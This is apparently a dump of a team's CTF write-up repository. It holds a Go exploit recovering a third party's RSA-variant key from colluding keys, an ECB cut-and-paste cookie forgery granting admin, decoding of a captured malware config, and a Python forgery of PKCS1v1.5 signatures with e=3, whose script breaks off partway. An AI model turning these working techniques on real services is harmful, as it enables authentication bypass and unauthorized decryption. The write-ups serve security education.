107 | func NewGroup(src io.Reader, bits int) (*Group, error) {
108 | p, err := generateSafe(src, bits/2)
109 | if err != nil {
110 | return nil, err
111 | }
112 | q, err := generateSafe(src, bits/2)
113 | if err != nil {
114 | return nil, err
115 | }
116 |
117 | x, err := rand.Int(src, phi(p, q))
118 | if err != nil {
119 | return nil, err
120 | }
121 | x.SetBit(x, 0, 0)
122 |
123 | return &Group{p, q, x}, nil
124 | }
125 |
126 | func (g *Group) Encrypter() *Encrypter {
127 | N := new(big.Int).Mul(g.P, g.Q)
128 |
129 | H := big.NewInt(3)
130 | H.Exp(H, g.X, N)
131 |
132 | return &Encrypter{N, H}
133 | }
134 |
135 | func (g *Group) Decrypter(id string) (*Decrypter, error) {
136 | N := new(big.Int).Mul(g.P, g.Q)
137 |
138 | n, err := DecrypterId(id, N)
139 | if err != nil {
140 | return nil, err
141 | }
142 | phiN := phi(g.P, g.Q)
143 | d := new(big.Int).Add(g.X, n)
144 | d.Mod(d, phiN).ModInverse(d, phiN)
145 |
146 | return &Decrypter{N, d}, nil
147 | }
148 |
149 | // Encrypter is a public key, used to encrypt messages to the set of decrypters.
150 | type Encrypter struct {
151 | N *big.Int // N is the RSA modulus.
152 | H *big.Int // H is g^x (mod N), where g is a generator of (Z/NZ)* and x is the group manager's secret scalar.
153 | }
154 |
155 | // GenerateKey takes a random source as input and the identity of the recipient;
156 | // it outputs the public KEM value and the shared secret.
157 | func (e *Encrypter) GenerateKey(src io.Reader, id string) (*big.Int, []byte, error) {
158 | n, err := DecrypterId(id, e.N)
159 | if err != nil {
160 | return nil, nil, err
161 | }
162 | r, err := rand.Int(src, e.N)
163 | if err != nil {
164 | return nil, nil, err
165 | }
166 |
167 | V := big.NewInt(3)
168 | V.Exp(V, n, e.N).Mul(V, e.H).Mod(V, e.N).Exp(V, r, e.N)
169 |
170 | K := big.NewInt(3)
171 | K.Exp(K, r, e.N)
172 | shared := sha256.Sum256(K.Bytes())
173 |
174 | return V, shared[:], nil
175 | }
176 |
177 | // Decrypter is a decrypter's private key.
178 | type Decrypter struct {
179 | N *big.Int // N is the RSA modulus.
180 | D *big.Int // D is the decrypter's private exponent.
181 | }
182 |
183 | // RecoverKey takes a public KEM value as input and outputs the shared secret.
184 | func (d *Decrypter) RecoverKey(V *big.Int) []byte {
185 | K := new(big.Int).Exp(V, d.D, d.N)
186 | shared := sha256.Sum256(K.Bytes())
187 | return shared[:]
188 | }
189 |
190 | // Payload is a public-key encrypted message.
191 | type Payload struct {
192 | V *big.Int
193 | Nonce []byte
194 | Body []byte
195 | }
196 |
197 | func Encrypt(e *Encrypter, recipient, message string) (*Payload, error) {
198 | V, shared, err := e.GenerateKey(rand.Reader, recipient)
199 | if err != nil {
200 | return nil, err
201 | }
202 |
203 | block, err := aes.NewCipher(shared)
204 | if err != nil {
205 | return nil, err
206 | }
207 | nonce := make([]byte, 12)
208 | if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
209 | return nil, err
210 | }
211 | ciph, err := cipher.NewGCM(block)
212 | if err != nil {
213 | return nil, err
214 | }
215 | body := ciph.Seal(nil, nonce, []byte(message), nil)
216 |
217 | return &Payload{V, nonce, body}, nil
218 | }
219 |
--------------------------------------------------------------------------------
/CSAWQuals2018/collusion/exploit.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/rand"
5 | "encoding/json"
6 | "fmt"
7 | "math/big"
8 | "io/ioutil"
9 | "log"
10 | )
11 |
12 | // Not sure why this isn't in common.go; it's the trivial inverse of Encrypt
13 | func Decrypt(d *Decrypter, payload *Payload) (string, error) {
14 | shared := d.RecoverKey(payload.V)
15 | block, err := aes.NewCipher(shared)
16 | if err != nil {
17 | return "", err
18 | }
19 | ciph, err := cipher.NewGCM(block)
20 | if err != nil {
21 | return "", err
22 | }
23 | message, err := ciph.Open(nil, payload.Nonce, payload.Body, nil)
24 | if err != nil {
25 | return "", err
26 | }
27 | return string(message), nil
28 | }
29 |
30 | const TEST = 0
31 |
32 | func main() {
33 | var g *Group
34 | var dB *Decrypter
35 | var dC *Decrypter
36 | var payload *Payload
37 |
38 | if TEST != 0 {
39 | // Test group
40 | var err error
41 | g, err = NewGroup(rand.Reader, 1024)
42 | if err != nil {
43 | log.Fatal(err)
44 | }
45 | dB, err = g.Decrypter("Bob")
46 | if err != nil {
47 | log.Fatal(err)
48 | }
49 | dC, err = g.Decrypter("Carol")
50 | if err != nil {
51 | log.Fatal(err)
52 | }
53 |
54 | e := g.Encrypter()
55 | payload, err = Encrypt(e, "Alice", "flag{testflag}")
56 | if err != nil {
57 | log.Fatal(err)
58 | }
59 | } else {
60 | // Load the challenge
61 | dB = new(Decrypter)
62 | if err := loadFromFile("bobs-key.json", &dB); err != nil {
63 | log.Fatal(err)
64 | }
65 | dC = new(Decrypter)
66 | if err := loadFromFile("carols-key.json", &dC); err != nil {
67 | log.Fatal(err)
68 | }
69 |
70 | if dB.N.Cmp(dC.N) != 0 {
71 | log.Fatal("N doesn't match!")
72 | }
73 |
74 | payload = new(Payload)
75 | if err := loadFromFile("message.json", &payload); err != nil {
76 | log.Fatal(err)
77 | }
78 | }
79 |
80 | N := new(big.Int).Set(dB.N)
81 |
82 | aId, err := DecrypterId("Alice", N)
83 | if err != nil {
84 | log.Fatal(err)
85 | }
86 |
87 | bId, err := DecrypterId("Bob", N)
88 | if err != nil {
89 | log.Fatal(err)
90 | }
91 |
92 | cId, err := DecrypterId("Carol", N)
93 | if err != nil {
94 | log.Fatal(err)
95 | }
96 |
97 | fmt.Println("Alice's ID", aId)
98 | fmt.Println("Bob's ID", bId)
99 | fmt.Println("Carol's ID", cId)
100 |
101 | myPhi := new(big.Int)
102 | myPhi.Sub(bId, cId).Mul(myPhi, dB.D).Mul(myPhi, dC.D)
103 | myPhi.Add(myPhi, dB.D).Sub(myPhi, dC.D)
104 | myPhi.Abs(myPhi)
105 |
106 | fmt.Println("myPhi", myPhi)
107 |
108 | if TEST != 0 {
109 | fmt.Println("phi", phi(g.P, g.Q))
110 | fmt.Println("residue", new(big.Int).Mod(myPhi, phi(g.P, g.Q)))
111 | }
112 |
113 | xB := new(big.Int).ModInverse(dB.D, myPhi)
114 | if xB == nil {
115 | log.Fatal("Not relatively prime!")
116 | }
117 |
118 | x := new(big.Int).Sub(xB, bId)
119 | x.Mod(x, myPhi)
120 |
121 | xA := new(big.Int).Add(x, aId)
122 | xA.Mod(xA, myPhi)
123 |
124 | dA := &Decrypter {
125 | N: N,
126 | D: new(big.Int).ModInverse(xA, myPhi),
127 | }
128 |
129 | if TEST != 0 {
130 | fmt.Println("my dA", new(big.Int).Mod(dA.D, phi(g.P, g.Q)))
131 | realDA, err := g.Decrypter("Alice")
132 | if err != nil {
133 | panic(err)
134 | }
135 | fmt.Println("real dA", realDA.D)
136 | }
137 |
138 | message, err := Decrypt(dA, payload)
139 | if err != nil {
140 | log.Fatal(err)
141 | }
142 | fmt.Println("message", message)
143 | }
144 |
145 | func loadFromFile(name string, x interface{}) error {
146 | raw, err := ioutil.ReadFile(name)
147 | if err != nil {
148 | return err
149 | }
150 | return json.Unmarshal(raw, x)
151 | }
152 |
--------------------------------------------------------------------------------
/CSAWQuals2018/collusion/generate_challenge.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/rand"
5 | "encoding/json"
6 | "io/ioutil"
7 | "log"
8 | )
9 |
10 | func main() {
11 | log.SetFlags(log.LstdFlags | log.Lshortfile)
12 |
13 | g, err := NewGroup(rand.Reader, 1024)
14 | if err != nil {
15 | log.Fatal(err)
16 | }
17 | e := g.Encrypter()
18 |
19 | if err := saveToFile("encrypter.json", e); err != nil {
20 | log.Fatal(err)
21 | }
22 |
23 | payload, err := Encrypt(e, "Alice", "flag{someflag}")
24 | if err != nil {
25 | log.Fatal(err)
26 | } else if err := saveToFile("message.json", payload); err != nil {
27 | log.Fatal(err)
28 | }
29 |
30 | dB, err := g.Decrypter("Bob")
31 | if err != nil {
32 | log.Fatal(err)
33 | } else if err := saveToFile("bobs-key.json", dB); err != nil {
34 | log.Fatal(err)
35 | }
36 |
37 | dC, err := g.Decrypter("Carol")
38 | if err != nil {
39 | log.Fatal(err)
40 | } else if err := saveToFile("carols-key.json", dC); err != nil {
41 | log.Fatal(err)
42 | }
43 | }
44 |
45 | // saveToFile json-encodes x and writes to a file with the given name.
46 | func saveToFile(name string, x interface{}) error {
47 | raw, err := json.Marshal(x)
48 | if err != nil {
49 | return err
50 | }
51 | return ioutil.WriteFile(name, raw, 0777)
52 | }
53 |
--------------------------------------------------------------------------------
/CSAWQuals2018/collusion/message.json:
--------------------------------------------------------------------------------
1 | {"V":584221881758507213769903010020339815950057645818648920364983549601225341062365062520391665711126204114735381305339677935863870281557078300036090892608892021129276590502981260857531205402850896018739268436262147451812156349860568744247316332461855247671922521643140703633415753776548859345314133294397634741631,"Nonce":"2NXgQhueKbVm5Pd8","Body":"0ZWAaAxvazGfyTJSRPkyeHU9ZUSWSoWFObggHmmfb835TWFAzA=="}
--------------------------------------------------------------------------------
/NuitDuHack2016/toil33t.md:
--------------------------------------------------------------------------------
1 | #Toil33t
2 |
3 | We are given a [web interface](http://toil33t.quals.nuitduhack.com) which lets us log in using a username, password, and email. Once we login, we are provided with a cookie such as
4 |
5 | ```
6 | 939c4dcbc5c09d3aaa00469fc65bbd6b5d998eabd9fd50d71639ffd19fadaeb23164706a5409b80800d7b98a576d11546cb3b01c5a57390325c7f6a18a4183c2e601b92d49560ffcac94c6271400069e
7 | ```
8 |
9 | which presumably is our encrypted session information.
10 |
11 | By digging into the source we can find `/session` which decrypts our cookie and reveals its contents:
12 |
13 | ```
14 | {
15 | "email": "test@example.com",
16 | "is_admin": false,
17 | "show_ad": false,
18 | "username": "test"
19 | }
20 | ```
21 |
22 | Our goal is to set `is_admin` to true so that we can access the admin interface. The homepage states that the site uses "Rijndael + 256ROT13." Assuming that the latter part is a joke, we know that they're probably using AES (a block cipher) to encrypt the session state.
23 |
24 | Our first step is to discover what block cipher [mode of operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) they are using. To do this, we can register an account with the username consisting of multiple blocks of A's:
25 |
26 | ```
27 | {
28 | "email": "",
29 | "is_admin": false,
30 | "show_ad": false,
31 | "username": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
32 | }
33 | ```
34 |
35 | Our encrypted cookie (when divided up into 16 byte blocks) looks like:
36 |
37 | ```
38 | 939c4dcbc5c09d3aaa00469fc65bbd6b
39 | 1cc38f6fb5e9dee5ec287a3a83bc0b39
40 | 1cc38f6fb5e9dee5ec287a3a83bc0b39
41 | 1cc38f6fb5e9dee5ec287a3a83bc0b39
42 | 1cc38f6fb5e9dee5ec287a3a83bc0b39
43 | 2c0fcba79ce825e7a3914b57b6c98395
44 | 169b614fe3c354939c88a77560d746d2
45 | b456365d12077dfa8d128e9ce19ed415
46 | ce6a85d2a10b531cac21853e01224a6e
47 | ```
48 |
49 | Note that the 2nd through 5th blocks are all identical; this implies that they are using [ECB](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#ECB) mode, which means that we should be able to use a [cut-and-paste](http://cryptopals.com/sets/2/challenges/13/) attack to replace that `false` with `true`.
50 |
51 | To do this, we need to figure out more information about the exact string being encrypted. Let's begin by computing how long the string is.
52 |
53 | When all the fields are set to empty, the cookie is 5 blocks long which corresponds to eighty bytes. Because the string needs to be padded to a multiple of the block size, this tell us that the string is between 64 and 80 characters long. As we increase the length of our username, the number of blocks stays the same, until we hit a username of length 15, at which point we get 6 blocks.
54 |
55 | The string, then, must be 80 - 14 = 66 bytes long. It turns out that if we remove the newlines and extraneous spaces from the output of `/session` we get a string with length exactly 66:
56 |
57 | ```
58 | {"email": "", "is_admin": false, "show_ad": false, "username": ""}
59 | ```
60 |
61 | However, the fields could be stored in a different order, since this doesn't change the length. Indeed, by changing the lengths of the email field and the username field independently, we can learn that the username field actually occurs before the email. We don't know about the relative ordering of `is_admin` and `show_ad` but lets assume for now that `show_ad` appears before `is_admin`:
62 |
63 | ```
64 | {"username": "", "show_ad": false, "is_admin": false, "email": ""}
65 | ```
66 |
67 | We'd like to construct the string:
68 |
69 | ```
70 | {"username": "", "show_ad": false, "is_admin": true, "email": ""}
71 | ```
72 | but this will be difficult because the block that includes `true` includes double quotes, which are quoted-out when included in the username or the email:
73 |
74 | ```
75 | {
76 | "email": "test\"quotes",
77 | "is_admin": false,
78 | "show_ad": false,
79 | "username": "test\"quotes"
80 | }
81 | ```
82 |
83 | To get around this, we can include enough spaces (shown using underscores) before `true` such that it ends up in its own block:
84 |
85 | ```
86 | {"username": "", "show_ad": false, "is_admin":____________true, "email": ""}
87 | ```
88 |
89 | Since JSON doesn't care about extra spaces, this will decode to the same resulting object. Other solutions that we tried all resulted in JSON-decoding errors:
90 |
91 | ```
92 | {
93 | "error": "Invalid JSON data !"
94 | }
95 | ```
96 |
97 | We also need to include enough A's in the username field to make sure that a block boundary occurs right before the first space:
98 |
99 | ```
100 | {"username": "AA", "show_ad": false, "is_admin":____________true, "email": ""}
101 | ```
102 |
103 | Now the fourth block is the encryption of `____________true`, the first three blocks are the encryption of `{"username": "AA", "show_ad": false, "is_admin":`, and the last block is the encryption of `, "email": ""}` (plus any padding).
104 |
105 | We can find each of these in the same way: use the characters we control in the `username` field to align these values at a block boundary. Specifically, our desired fourth block is the second ciphertext block of:
106 |
107 | ```
108 | {"username": "AAA____________true", "show_ad": false, "is_admin": false, "email": ""}
109 | ```
110 |
111 | Our desired first 3 blocks are the first three blocks of:
112 |
113 |
114 | ```
115 | {"username": "AA", "show_ad": false, "is_admin": false, "email": ""}
116 | ```
117 |
118 | and our desired ending block is the last block of:
119 |
120 |
121 | ```
122 | {"username": "AAAAAAAAAAAA", "show_ad": false, "is_admin": false, "email": ""}
123 | ```
124 |
125 | Putting them together our encrypted cookie is:
126 |
127 | ```
128 | 939c4dcbc5c09d3aaa00469fc65bbd6b5d998eabd9fd50d71639ffd19fadaeb23164706a5409b80800d7b98a576d1154d53da7ab898a957599c7490d8f98a955961336e7d0c9629f12536f127cbc1297
129 | ```
130 |
131 | which yields
132 |
133 | ```
134 | {
135 | "email": "",
136 | "is_admin": true,
137 | "show_ad": false,
138 | "username": "AA"
139 | }
140 | ```
141 |
142 | Going back to the homepage and clicking on the Admin Interface button reveals the flag to be `NDH{22cf96f723f08382606119fe574953b9}`.
143 |
--------------------------------------------------------------------------------
/NuitDuHack2016/trololo.md:
--------------------------------------------------------------------------------
1 | #Trololo
2 |
3 | Filter out all packets with the protocol RTP/RTSP/RTCP using the Wireshark filter `!rtp && !rtsp && !rtcp`. These are for some video stream that is not relevant to the malware.
4 |
5 | One of the remaining packets is a response for a GET request for `/content.enc`. The content of this packet seems to contain "encrypted" data. A lot of the bytes are the same value: `0xfd`. Furthermore, none of the bytes happen to be within ASCII range (they all have leading bit 1). This suggest that we should invert all the bits (same thing as xor-ing with `0xff`):
6 |
7 | ```
8 | Python 2.7.10
9 | >>> x = "0d0a0d0ac3c087..."
10 | >>> import binascii
11 | >>> y = binascii.unhexlify(x)
12 | >>> print(''.join([chr(ord(a) ^ 0xff) for a in y]))
13 | ```
14 |
15 | The result is the following XML document:
16 |
17 | ```
18 | ????
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 | docx:doc:xls:xlsx:pdf:jpg:odt:ods:png:bmp:avi:mp4
28 |
29 |
30 | AD784DA62D1DDBB19B7F0500A52DD15C0BD70F924A5EF7C3CEA134C428747AFB
31 |
32 |
33 | New infected
34 |
35 |
36 | irc://irc.ndh2k16.com:6667
37 |
38 |
39 | #Crypt0NDH2K16
40 |
41 |
42 | orudeujieh6oonge4She
43 |
44 |
45 |
46 | ```
47 |
48 | The password (and therefore the flag) is `orudeujieh6oonge4She`.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # writeups
2 | Writeups for various CTFs
3 |
--------------------------------------------------------------------------------
/alexctf2017/catalyst/1_opening_hopper.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/1_opening_hopper.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/2_after_opening.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/2_after_opening.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/3_checking_strings.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/3_checking_strings.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/4_cross_references.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/4_cross_references.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/5_find_call.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/5_find_call.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/6_print_pretty.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/6_print_pretty.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/7_ask_for_username.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/7_ask_for_username.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/8_username_check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/8_username_check.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/9_password_check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/9_password_check.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/catalyst:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/catalyst
--------------------------------------------------------------------------------
/alexctf2017/catalyst/terminal_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/terminal_1.png
--------------------------------------------------------------------------------
/alexctf2017/catalyst/terminal_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/alexctf2017/catalyst/terminal_2.png
--------------------------------------------------------------------------------
/blazectf2018/R2-Dbag/res/R2-Dbag_to_C3POed.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/blazectf2018/R2-Dbag/res/R2-Dbag_to_C3POed.wav
--------------------------------------------------------------------------------
/blazectf2018/R2-Dbag/res/aud0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/blazectf2018/R2-Dbag/res/aud0.png
--------------------------------------------------------------------------------
/blazectf2018/R2-Dbag/res/aud1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/blazectf2018/R2-Dbag/res/aud1.png
--------------------------------------------------------------------------------
/googlectf2017/joe/README.md:
--------------------------------------------------------------------------------
1 | # joe (Web)
2 |
--------------------------------------------------------------------------------
/googlectf2017/rsa_ctf_challenge/README.md:
--------------------------------------------------------------------------------
1 | # RSA CTF Challenge (Crypto)
2 |
3 | *To see writeup with rendered Latex, see the [writeup](https://gitlab.com/techsec/writeups/tree/master/googlectf2017/rsa_ctf_challenge) on GitLab*
4 |
5 | We are first presented with a simple HTML form that asks us to sign the word `challenge` in order to login.
6 |
7 | 
8 |
9 | If we look at the source of the page, we find a hidden div that includes an RSA public key and references to base64 encoding and [PKCS1v1.5](https://tools.ietf.org/html/rfc2313) / MD5.
10 |
11 | Our goal then seems to be to forge a signature for `challenge` in PKCS1v1.5 format that will be accepted by the given public key.
12 |
13 | If done properly, this is impossible, but because PKCS1v1.5 is such a brittle scheme, minor errors in its implementation can result in [major](https://www.ietf.org/mail-archive/web/openpgp/current/msg00999.html) [security](http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf) [vulnerabilities](https://eprint.iacr.org/2012/417.pdf).
14 |
15 | ## PKCS1v1.5
16 |
17 | Before we talk about the implementation error, let's first describe how PKCS1v1.5 works.
18 |
19 | A PKCS1v1.5 block looks like this:
20 |
21 | `00 || BT || PS || 00 || D`
22 |
23 | where:
24 | - `BT` is the block type and is 01 for private key operations (digital signatures) and 02 for public key operations (encryption)
25 | - `PS` is the padding string and consists of $`k - 3 - |D|`$ bytes where $`k`$ is the byte-length of the RSA modulus. For block type 01, the padding bytes should all be FF and for block type 02, the padding bytes should be "pseudorandomly generated and nonzero."
26 | - `D` is the actual data in question.
27 |
28 | For digital signatures `D` is an ASN.1 encoded value that includes information about the hash function used and the hash of the message to be signed. For our purposes,
29 |
30 | `D = 3020300c06082a864886f70d020505000410 || MD5('challenge')`
31 |
32 | To create an RSA signature, we construct a PKCS1v1.5 block of the above format, treat it as an integer $`c`$, and compute $`m = c^d \ (\mathrm{mod} \ n)`$. The result $`m`$ is our signature.
33 |
34 | ## The Vulnerability
35 |
36 | We aren't given the source code for the signature validator, so we must do some guesswork on the implementation error. The HTML form makes a reference to "End-to-End Encryption" even though the challenge involves signatures, not encryption.
37 |
38 | Perhaps it's possible that the website builders confused RSA Encryption with RSA Signatures and used the wrong type of PKCS1v1.5 padding. Specifically, instead of checking that the padding string consisted of only FF bytes, maybe they treated it as if it was block type 02 and just checked that it had only nonzero bytes.
39 |
40 | How can we take advantage of this? On it's own this doesn't help us, but when combined with the fact that the RSA public exponent is very small ($`e = 3`$), it becomes relatively straightforward to forge valid signatures.
41 |
42 | If we can craft a padding string such that the resulting PKCS1v1.5 block is a perfect cube, we can simply take the cube root of it and use it as our signature $`m`$. Then, the validator will compute $`m^e \ (\mathrm{mod} \ n) = m^3`$, and the result will be our crafted block.
43 |
44 | ## The Attack
45 |
46 | We need to find a 1024-bit perfect cube with leading bytes `00 01` and trailing bytes equal to `00 || D`. The attack is outlined in [this Stack Exchange post](https://crypto.stackexchange.com/questions/14875/attack-of-an-rsa-signature-scheme-using-pkcs1-v1-5-encryption-padding); we'll have to modify it slightly for this challenge.
47 |
48 | Let's start with the trailing bytes condition. `00 || D` is $`1 + 18 + 16 = 35`$ bytes $`= 280`$ bits long, so this condition is equivalent to saying that that our cube modulo $`2^{280}`$ should equal D. Let's call our cube $`x^3`$ and let's represent D as the variable $`d`$.
49 |
50 | We want:
51 |
52 | ```math
53 | x^3 = d \ (\mathrm{mod} \ 2^{280})
54 | ```
55 | Elementary number theory tells us that if $`v`$ is the inverse of $`3`$ modulo $`\phi(2^{280})`$, Then
56 |
57 | ```math
58 | x = d^v \ (\mathrm{mod} \ 2^{280})
59 | ```
60 |
61 | (This only works if $`d`$ has a modular cube root, which is true only for odd $`d`$. Happily, our $`d`$ is odd.)
62 |
63 | Next, let's consider the leading bytes condition. This can be formulated mathematically as
64 | ```math
65 | 2^{1008} \le x^3 < 2 \cdot 2^{1008}
66 | ```
67 | ```math
68 | \sqrt[3]{2^{1008}} \le x < \sqrt[3]{2 \cdot 2^{1008}}
69 | ```
70 |
71 | (The $`1008`$ comes from the fact that length of the padding plus the trailing bytes is $`1024 - 2 \cdot 8 = 1008`$ bits).
72 |
73 | So to finish, we just need to find an $`x`$ that satisfies both of these mathematical conditions. We can do this by picking any $`x`$ in the interval, and adjusting it slightly so that it equals $`d^v`$ modulo $`2^{280}`$. The resulting number's cube should have the appropriate leading and trailing bytes.
74 |
75 | There's actually one more condition that we've ignored so far: the padding string shouldn't contain any null bytes. This will happen by chance with probability $`(255/256)^{91} \approx 70\%`$ so we can just try a bunch of candidates until one works.
76 |
77 | ## The code
78 | You can find a simple python script to compute the signature [here](https://github.com/TechSecCTF/writeups/blob/master/googlectf2017/rsa_ctf_challenge/script.py). The key section is reproduced below:
79 |
80 | ```
81 | # First compute the required end of message block
82 | asn_prefix = b'003020300c06082a864886f70d020505000410'
83 | md5_hash = hashlib.md5(b'challenge').hexdigest()
84 | data = asn_prefix + md5_hash.encode('utf-8')
85 | d = int(data, 16)
86 |
87 | # Next compute the cube root of this number modulo 2^280
88 | bits = 280
89 | m = pow(2, bits)
90 | t = pow(2, bits) - pow(2, bits - 1)
91 | z = cube_root_mod(d, m, t)
92 |
93 | # Pick a number between (2^1008)^(1/3) and (2*2^1008)^(1/3) and adjust
94 | # it to equal to z modulo 2^280
95 | i = 1 # some i's produce blocks with extra null bytes; adjust until lucky
96 | x = iroot(3, 2 * pow(2, 1008))
97 | x = x - (x % m) + z - i*m
98 |
99 | # Check that the cube of x matches the PKCS1v1.5 format:
100 | y = pow(x, 3)
101 | signature = int_to_bytes(y)
102 | assert len(signature) == 127 # leading byte is 00
103 | assert signature[0] == 1 # second byte is 01
104 | assert binascii.hexlify(signature).endswith(data) # ends in asn prefix + hash
105 | assert 0 not in signature[:-len(data)//2] # no zero byte until the asn prefix
106 |
107 | # Print out base64 version of "encrypted" signature
108 | print(base64.b64encode(int_to_bytes(x)).decode('utf-8'))
109 | ```
110 |
111 | The script produces the integer
112 |
113 | ```
114 | x = 176368846691323817807583646497896249461582346736585043753352378054480534894624774082565108943018895713
115 | ```
116 |
117 | which, when converted to a byte string and base64 encoded is:
118 |
119 | ```
120 | AUKKL5jXKK3upjPt+nUNI8iXdZSASpmMLeHoAi4zdZ3XEyfjVk0NxdGpYQ==
121 | ```
122 |
123 | Submitting this signature to the website yields the flag `CTF{zx2fn265117}`:
124 |
125 | 
126 |
--------------------------------------------------------------------------------
/googlectf2017/rsa_ctf_challenge/images/base64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/googlectf2017/rsa_ctf_challenge/images/base64.png
--------------------------------------------------------------------------------
/googlectf2017/rsa_ctf_challenge/images/done.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/googlectf2017/rsa_ctf_challenge/images/done.png
--------------------------------------------------------------------------------
/googlectf2017/rsa_ctf_challenge/images/initial.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/googlectf2017/rsa_ctf_challenge/images/initial.png
--------------------------------------------------------------------------------
/googlectf2017/rsa_ctf_challenge/images/validation.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/googlectf2017/rsa_ctf_challenge/images/validation.png
--------------------------------------------------------------------------------
/googlectf2017/rsa_ctf_challenge/script.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | import binascii
3 | import hashlib
4 | import base64
5 | import math
6 |
7 | # number theory functions
8 |
9 | def int_to_bytes(n):
10 | byte_length = math.ceil(n.bit_length() / 8.0)
11 | return n.to_bytes(byte_length, 'big')
12 |
13 | def extended_gcd(aa, bb):
14 | lastremainder, remainder = abs(aa), abs(bb)
15 | x, lastx, y, lasty = 0, 1, 1, 0
16 | while remainder:
17 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
18 | x, lastx = lastx - quotient*x, x
19 | y, lasty = lasty - quotient*y, y
20 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
21 |
22 | def modinv(a, m):
23 | g, x, y = extended_gcd(a, m)
24 | if g != 1:
25 | raise ValueError
26 | return x % m
27 |
28 | # computes the cube root of a mod m
29 | # where t is the Euler-Totient function of m
30 | def cube_root_mod(a, m, t):
31 | y = modinv(3, t)
32 | return pow(a, y, m)
33 |
34 | # computes the floor of the kth root of n
35 | # uses newton's method
36 | def iroot(k, n):
37 | u, s = n, n+1
38 | while u < s:
39 | s = u
40 | t = (k-1) * s + n // pow(s, k-1)
41 | u = t // k
42 | return s
43 |
44 | # The RSA key is actually not needed at all in the solution
45 | # other than to verify that it is a 1024 bit public key modulus
46 | # and that the public exponent is 3
47 | key = """-----BEGIN RSA PUBLIC KEY-----
48 | MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDXnmZBhgORgRu6gXwGplTHHIfV
49 | Z1kXgC/o3cSDl8JbK14wMn3o3CPIlhbDFuyzapB3rkKcECP3uGKco4AoBf/CQDoH
50 | ZJii5gL9YwXnUPul2wWCvTy2NyW0fkBpZwK85HtR4D6AwhHaCP6hhMPdj41spp4O
51 | q6xbZ1E1zypmjToxVQIBAw==
52 | -----END RSA PUBLIC KEY-----"""
53 |
54 | if __name__ == '__main__':
55 | # First compute the required end of message block
56 | asn_prefix = b'003020300c06082a864886f70d020505000410'
57 | md5_hash = hashlib.md5(b'challenge').hexdigest()
58 | data = asn_prefix + md5_hash.encode('utf-8')
59 | d = int(data, 16)
60 |
61 | # Next compute the cube root of this number modulo 2^280
62 | bits = 280
63 | m = pow(2, bits)
64 | t = pow(2, bits) - pow(2, bits - 1)
